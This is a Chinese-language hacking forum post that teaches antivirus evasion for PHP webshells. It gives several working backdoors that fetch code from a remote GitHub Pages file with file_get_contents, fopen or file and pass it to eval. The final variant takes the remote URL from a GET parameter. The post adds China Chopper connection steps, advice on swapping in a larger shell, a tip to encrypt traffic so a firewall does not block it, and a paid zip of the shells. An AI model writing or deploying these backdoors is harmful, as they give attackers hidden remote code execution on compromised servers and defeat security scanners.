一般的php webshell是这样的 
<?php @eval($_POST['nie']); ?>
  这种webshell有很大的局限性,然后各位大佬就开始了对webshell的各种操作 
大部分都是拆分关键词的,文件包含的,双文件上传的,函数回调的。。。 
然鹅,有一类免杀技巧却见的很少,但是实战中遇到各种花样webshell都有它的身影。 
这就是读取远程文件 
php中有几个函数都有调度远程文件的能力 
小弟我选取其中三个做了文章。 
1,file_get_contents()函数 
这是大佬文章中见的比较多的一个函数 
我在远程文档中写入 
然后webshell就诞生了(我用个giethub的pages所以我直接下面那个地址是我github中的文件,昵称用xxx代替了) 
<?php eval(file_get_contents('https://xxx.github.io/shell/common.txt')); ?>
  然后d盾直接给我来一句已知后门? 
 
 
你既然认识这个那我就要把这个变得你不认识,把这玩意拆分开。 
<?php 
    $nie=file_get_contents('https://xxx.github.io/shell/common.txt'); 
    eval($nie); 
?>
  就这样d盾竟然就不认识了?也是离谱。 
 
然后第一种后门我们就写好了 
2,fopen()函数 
读取加拆分又是轻松免杀 
<?php 
    $a=fopen('https://xxx.github.io/shell/common.txt','r'); 
    eval(fgets($a)); 
    fclose($a); 
?>
  3,file()函数 
file()函数有点小特殊,file()函数是以数组方式读取文件的 
那我们加上implode()函数把数组转换为字符就可以了,由于双函数嵌套不需要做拆分。 
<?php 
    eval(implode(file('https://xxx.github.io/shell/common.txt'))); 
?>
  这三个webshell都可以过轻松d盾查杀 
这样被发现容易泄露我们的github地址。那么还有什么更加隐蔽的方法呢? 
当然有来看看最终版本 
<?php 
    $url = $_GET['密码1']; 
    $a = fopen($url,'r'); 
    eval(fgets($a)); 
    fclose($a); 
?>
  用法:自定义数字英文密码代替上图密码1 
          远程创建文件内容eval($_POST['密码2']); 
          菜刀连接方法http://xxx.com/xxx.php?密码1=你远程创建的文件地址 
          连接密码写入密码2 
 
图中密码1为url,密码2是nie。  
连接成功 
 
你以为这就完了吗?  
说明你没有理解远程读取的可怕之处。  
我随时可以修改远程文件,那么我把远程文件换成大马会怎么样?(忽略图中php版本不兼容问题,记得远程文件要去掉<?php?>)  
建议还是用小马,大马的话优先考虑上面三种。  
 
这相当于你拥有了超能力啊  
未完待续。。。(远程文件要写数据加密,不然再传输数据时会被狗拦截)  
四个打包
 
bypass.zip
(812 Bytes, 下载次数: 6, 售价: 35 K币)
 |